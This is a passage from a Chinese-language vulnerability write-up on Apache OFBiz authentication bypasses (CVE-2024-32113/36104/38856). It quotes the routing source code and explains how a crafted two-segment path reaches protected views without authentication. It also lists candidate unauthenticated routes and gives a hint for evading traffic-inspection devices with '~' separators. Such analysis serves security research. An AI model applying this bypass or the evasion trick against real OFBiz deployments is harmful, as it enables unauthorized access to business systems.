(requestMapMap.containsKey(requestUri) && (viewUri == null || viewMapMap.containsKey(viewUri) || ("SOAPService" .equals(requestUri) && "wsdl" .equalsIgnoreCase(req.getQueryString())))){ rmaps = requestMapMap.get(requestUri); } else if (defaultRequest != null ) { rmaps = requestMapMap.get(defaultRequest); } else { rmaps = null ; } return rmaps != null ? rmaps : Collections.emptyList(); }
因此必须要有低权限账号,这个漏洞完成的只是低权限账号的权限提升
CVE-2024-32113/CVE-2024-36104从commit不难看出
https://github.com/apache/ofbiz-framework/commit/b91a9b7f26
https://github.com/apache/ofbiz-framework/commit/b3b87d98dd
聪明的开发者知道对contextPath做normalize处理
然而狡猾的黑客又聪明的次实现了绕过,毕竟无论是getRequestURI还getRequestURL都不会做url解码,另外也可以配合分号的使用绕过校验
这下开发者一个头两个大,最终还是通过正则完成了漏洞的修复
https://github.com/apache/ofbiz-framework/commit/d33ce31012
然而真的完结了么?
CVE-2024-38856权限绕过浅析接着上文埋下的坑,在对漏洞的分析过程中我发现一个有趣的点
在这里默认情况下我们渲染的视图为nextRequestResponse.value
,说人话就是根据我们路由的返回结果来自动选择视图,这里分为三种情况
一种是定义了event的路由(通常是不需要鉴权的),会根据对应event的执行结果决定渲染类型
另一种是没有定义event的路由,但security中auth为true的路由,会根据认证返回结果决定渲染类型
最后一种则是既没有定义event、又没有认证的路由,这种会直接取配置中success的结果对应的值作为渲染类型
1 2 3 4 5 6 7 if ("view" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; renderView(viewName, requestMap.securityExternalView, request, response, saveName); }
而在这里我们不难看出如果变量overrideViewUri存在,并且事件返回为success,那么渲染的视图则为overrideViewUri的值,对于攻击者而言以上的几种情况,毫无疑问,我们自然是优先选择第三种未授权的情形
那么接下来我们就要看看overrideViewUri如何控制,对于非链式请求,其取值在两个地方存在,一是预处理当returnString不为success时,但是我们一开始简单给大家展示过这些预处理事件,通常对于正常访问来说这些校验都是直接通过的我们不必过多关注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) { try { String returnString = this .runEvent(request, response, event, null , "preprocessor" ); if (returnString == null || "none" .equalsIgnoreCase(returnString)) { interruptRequest = true ; } else if (!"success" .equalsIgnoreCase(returnString)) { if (!returnString.contains(":_protect_:" )) { throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'." ); } else { returnString = returnString.replace(":_protect_:" , "" ); if (returnString.length() > 0 ) { request.setAttribute("_ERROR_MESSAGE_" , returnString); } eventReturn = null ; if (!requestMap.requestResponseMap.containsKey("protect" )) { if (ccfg.getProtectView() != null ) { overrideViewUri = ccfg.getProtectView(); } else { overrideViewUri = EntityUtilProperties.getPropertyValue("security" , "default.error.response.view" , delegator); overrideViewUri = overrideViewUri.replace("view:" , "" ); if ("none:" .equals(overrideViewUri)) { interruptRequest = true ; } } } } } } catch (EventHandlerException e) { Debug.logError(e, module ); } } }
另一个就是程序一开头的代码片段中,分别通过path获取了requesturi以及overrideViewUri
1 2 3 String path = request.getPathInfo(); String requestUri = getRequestUri(path); String overrideViewUri = getOverrideViewUri(path);
前者用于在resolveURI取得路由配置,后者则用于视图渲染,而如果我们仔细看这两个函数的实现我们会发现,requesturi取的是path第一个/及之后的值,而overrideViewUri取的是path第二个/及之后的值,看到这里我们不由发现,如果我们将path后第一个/后的路由设置为不鉴权且路由的type为view。而第二个/后的设置为需要利用的路由,那么我们便能实现权限的绕过了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public static Collection<RequestMap> resolveURI (ControllerConfig ccfg, HttpServletRequest req) { Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap(); Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap(); String defaultRequest = ccfg.getDefaultRequest(); String path = req.getPathInfo(); String requestUri = getRequestUri(path); String viewUri = getOverrideViewUri(path); Collection<RequestMap> rmaps; if (requestMapMap.containsKey(requestUri) && (viewUri == null || viewMapMap.containsKey(viewUri) || ("SOAPService" .equals(requestUri) && "wsdl" .equalsIgnoreCase(req.getQueryString())))){ rmaps = requestMapMap.get(requestUri); } else if (defaultRequest != null ) { rmaps = requestMapMap.get(defaultRequest); } else { rmaps = null ; } return rmaps != null ? rmaps : Collections.emptyList(); } public static String getRequestUri (String path) { List<String> pathInfo = StringUtil.split(path, "/" ); if (UtilValidate.isEmpty(pathInfo)) { Debug.logWarning("Got nothing when splitting URI: " + path, module ); return null ; } if (pathInfo.get(0 ).indexOf('?' ) > -1 ) { return pathInfo.get(0 ).substring(0 , pathInfo.get(0 ).indexOf('?' )); } else { return pathInfo.get(0 ); } } public static String getOverrideViewUri (String path) { List<String> pathItemList = StringUtil.split(path, "/" ); if (pathItemList == null ) { return null ; } pathItemList = pathItemList.subList(1 , pathItemList.size()); String nextPage = null ; for (String pathItem: pathItemList) { if (pathItem.indexOf('~' ) != 0 ) { if (pathItem.indexOf('?' ) > -1 ) { pathItem = pathItem.substring(0 , pathItem.indexOf('?' )); } nextPage = (nextPage == null ? pathItem : nextPage + "/" + pathItem); } } return nextPage; }
可利用的点根据以上的分析其实可利用的点有很多,简单写一个xml解析工具提取,以下结果以|
分隔,不一定都能用,简单跑了一下xml程序解析
1 secureCertDateTime|view|main|checkLogin|ajaxCheckLogin|login|forgotPassword|forgotPasswordReset|ListLocales|ListTimezones|ListSetCompanies|showHelpPublic|getUiLabels|editPortalPageColumnWidth|FixedAssetSearchResults|BudgetSearchResults|reconcileFinAccountTrans|assignGlRecToFinAccTrans|addGiftCertificateSurvey|addCategoryDefaults|crosssell|ViewSimpleContent|ViewSimpleContent|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList|viewImage|listMiniproduct|FacilitySearchResults|contactListOptOut|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList
对抗流量设备的点围绕以下两个函数即可,可以在路由中添加~
之类的做分隔,当然还有其他姿势这里就不展开了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static String getRequestUri (String path) { List<String> pathInfo = StringUtil.split(path, "/" ); if (UtilValidate.isEmpty(pathInfo)) { Debug.logWarning("Got nothing when splitting URI: " + path, module ); return null ; } if (pathInfo.get(0 ).indexOf('?' ) > -1 ) { return pathInfo.get(0 ).substring(0 , pathInfo.get(0 ).indexOf('?' )); } else { return pathInfo.get(0 ); } } public static String getOverrideViewUri (String path) { List<String> pathItemList = StringUtil.split(path, "/" ); if (pathItemList == null ) { return null ; } pathItemList = pathItemList.subList(1 , pathItemList.size()); String nextPage = null ; for (String pathItem: pathItemList) { if (pathItem.indexOf('~' ) != 0 ) { if (pathItem.indexOf('?' ) > -1 ) { pathItem = pathItem.substring(0 , pathItem.indexOf('?' )); } nextPage = (nextPage == null ? pathItem : nextPage + "/" + pathItem); } } return nextPage; }